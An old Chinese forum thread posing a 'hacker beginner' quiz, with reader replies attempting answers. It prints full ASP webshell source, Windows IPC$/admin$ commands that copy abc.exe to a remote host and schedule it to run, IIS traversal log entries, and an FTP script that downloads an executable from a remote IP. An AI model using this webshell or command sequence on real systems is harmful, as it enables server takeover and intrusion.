黑客驗卷

天殺孤星 · 發表於 2005-5-26 19:45:02

一份黑客菜鳥試卷，歡迎各位朋友作答，有獎賞哦，快點加油哦﹗

一、
http://192.168.0.1
http://xyz.3322.org
http://3232235521
三個連接指向同一目標網站，那么它們分別是什麼意義？

二、
常用端口識別
20 21 23
25 80 110
139 443 445

三、
試述下列命令作用
c:>net use 211.87.194.121ipc$ “123456”/user:”administrator”
c:>net use z: 211.87.194.121c$
c:>net time 211.87.194.121
c:>copy abc.exe 211.87.194.121admin$system32

四、
試述下列命令的區別，如何防止該命令在本地或遠程營運
c:>at 211.87.194.121 21:05 abc.exe
c:>at 21:05 211.87.194.121admin$system32abc.exe

五、
W3SVC日誌是什麼？分析下面這段日誌。
2002-11-24 11:38:54 211.87.67.76 - 211.87.215.81 80 GET /MSADC/root.exe /c+dir 403 -
2002-11-24 11:38:54 211.87.67.76 - 211.87.215.81 80 GET /c/winnt/system32/cmd.exe /c+dir 401 -
2002-11-24 11:38:54 211.87.67.76 - 211.87.215.81 80 GET /d/winnt/system32/cmd.exe /c+dir 401 -
2002-11-24 11:38:54 211.87.67.76 - 211.87.215.81 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 401 -
2002-11-24 11:38:54 211.87.67.76 - 211.87.215.81 80 GET /HEAD 200 -
分析我酌情給分。

六、
netstat命令有何作用，舉出兩個參數進行說明。

七、
試述木馬的一些基本特徵。

八、
如何利用腳本實現對ftp的自動操作？

九、
下面是一個ASP木馬，請找出支持這一程式的關鍵點。
<%@ Language=VBScript %>
<%

Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile

On Error Resume Next

Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

szCMD = Request.Form(".CMD")
If (szCMD <> "") Then

szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>

十、
存在IIS或CGI漏洞，並對腳本有執行權限，如何進行入侵？（只要求敘述到如何上傳文件，其他思路會酌情給分）
那么，如何在不打補丁的情況下避免這種攻擊的發生？

十一、OSI模型中哪一層上有協議？分別是什麼？

十二、觀察ping命令的返回包的TTL值，可以了解到什麼？

十三、從通訊閘得到采樣
目標 IP 192.168.0.1 端口80 源 IP　192.168.0.3 端口 3646
目標 IP 192.168.0.1 端口80 源 IP　192.168.0.3 端口 3647
目標 IP 192.168.0.1 端口69 源 IP　192.168.0.3 端口 69
請問這可能是什麼樣的會話，採用什麼協議，進行什麼樣的作業？

十四、談談你對hacker和網路安全的認識

$靚仔龍$呵� · 發表於 2005-6-17 18:25:49

　　我５係咁識黑客ｄ野～～獻醜同請指教

一、
[url]http://192.168.0.1[/url]
[url]http://xyz.3322.org[/url]
[url]http://3232235521[/url]

複製代碼

　　有毒網？？？

[url]http://192.168.0.1[/url]

複製代碼

　　ｉｐ？？

c:>net use 211.87.194.121ipc$ “123456”/user:”administrator”

複製代碼

　　解決忘記ｗｉｎｄｏｗｓ使用者密碼？？

　六、
netstat命令有何作用，舉出兩個參數進行說明。

複製代碼

　

　　知道自己ｉｐ同咩軟體連緊

十四、談談你對網路安全的認識

複製代碼

　不明來歷網站，ｍａｉｌ不要開，同不要收取／打開不明來歷的附件

天殺孤星 · 發表於 2005-6-17 21:12:47

$靚仔龍$呵呵 在 2005-6-17 06:25 PM 發表:

　　我５係咁識黑客ｄ野～～獻醜同請指教

一、

[url]http://192.168.0.1[/url]

[url]http://xyz.3322.org[/url]

[url]http://3232235521[/url]
複製代碼

　　有毒網？？？
[code]
[url]http://192 ...

除十四外全部錯曬

天殺孤星 · 發表於 2005-6-17 21:20:30

一、

一个是IP 一个是域名
第三个是十进制的
二、
常用端口识别
20       文件传输协议
21       文件传输协议，也就是FTP
23       telnet 终端仿真协议
25       smtp 简单邮件发送协议
80       全球信息网超文本传输协议
110    Pop3 服务器
139    win98 共享资源端口
443    安全服务
445    不知道是什么东西（不好意思）
三、
试述下列命令作用
c:>net use 211.87.194.121ipc$ “123456”/user:”administrator”
用户admininistrator密码123456登录211.87.194.121 ipc$ 口子
c:>net use z: 211.87.194.121c$
把211.87.194.121 主机的C盘映到本地Z盘
c:>net time 211.87.194.121
看对方主机的系统时间
c:>copy abc.exe 211.87.194.121admin$system32
把本地当前目录的abc.exe复制到对方WINNTsystem32下
四、
试述下列命令的区别，如何防止该命令在本地或远程运行
c:>at 211.87.194.121 21:05 abc.exe
是在对方系统时间下的
c:>at 21:05 211.87.194.121admin$system32abc.exe
是在本地时间下
禁用WEBSHELL可以吧
五、
W3SVC日志是什么？分析下面这段日志。
好象是有人在2002-11-24 11:38:54运行了cmd，并用看了C盘
六、
netstat命令有何作用，举出两个参数进行说明。
如C:>netstat/?
可以得到帮助。因为显示的太多了，我就不打出来了，就说两个了
-a Displays all connections and listening ports.
-e Displays Ethe
et statistics. This may be combined with the -s
option.

七、
试述木马的一些基本特征。
1.具有隐蔽性
2.括极强的破坏性
3.自身保护性
4.强大的远程控制功能
5.兼容性强
6.有客户端和服务端
7.客户端对服务端有权限
8.自动运行
9.还有吧，我不知道了

八、

C:>echo open 211.87.216.131 >c:ftp.txe
C:>echo user:user@211.87.216.131 >>c:ftp.txt
C:>echo get abc.exe >>c:ftp.txt
C:>echo bye >>c:ftp.txt
C:>ftp –s:c:ftp.txt
可以吧？
九、
下面是一个ASP木马，请找出支持这一程序的关键点。
是这个吧Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
十存在IIS或CGI漏洞，并对脚本有执行权限，如何进行入侵？（只要求叙述到如何上传文件，其他思路会酌情给分）

不太会，我只会ASP和ASP+PHP
十一
谈谈你对hacker和网络安全的认识
HACKER，中文是黑客，我听过一句话“想真正成为黑客，你必须真枪实弹去做黑客应该做的事情。”所以不是专门搞破坏的，而是对网络安全清楚的一种人，不侵入或破坏主机；不恶意破坏任何系统；不破化别人的软件或资料，我也很同意别人说一切信息都应该是免费的，我就是因为这个动机，才学的，我会严格遵守守则，另外中国的法律在健全，请不要随意做破坏网络的事，也希望大家一样，谢谢

		自動登錄	找回密碼
密碼			成為會員